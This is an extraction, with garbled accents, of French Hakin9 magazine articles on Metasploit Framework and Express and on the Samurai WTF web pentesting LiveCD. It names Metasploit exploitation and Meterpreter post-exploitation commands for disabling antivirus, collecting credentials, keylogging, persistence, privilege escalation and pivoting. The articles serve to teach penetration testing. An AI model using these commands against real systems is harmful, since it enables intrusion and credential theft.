ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

